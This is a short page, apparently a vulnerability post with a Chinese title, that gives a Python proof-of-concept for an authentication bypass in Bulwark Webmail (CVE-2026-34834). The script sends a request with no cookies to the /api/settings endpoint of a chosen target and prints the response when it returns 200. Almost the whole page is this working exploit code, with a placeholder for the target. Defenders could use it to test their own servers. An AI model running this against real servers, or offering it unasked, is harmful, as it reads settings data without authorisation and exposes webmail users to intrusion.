CVE-2026-34834 Bulwark Webmail身份验证绕过漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-34834: Authentication Bypass in Bulwark Webmail. Exploits the verifyIdentity() logic flaw where missing cookies return true. """ endpoint = f"{target_url.rstrip('/')}/api/settings" headers = { "User-Agent": "CVE-2026-34834-Scanner", "Content-Type": "application/json" } # Critical: Do not send cookies to trigger the bypass try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential Vulnerability Detected!") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Status code: {response.status_code}") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)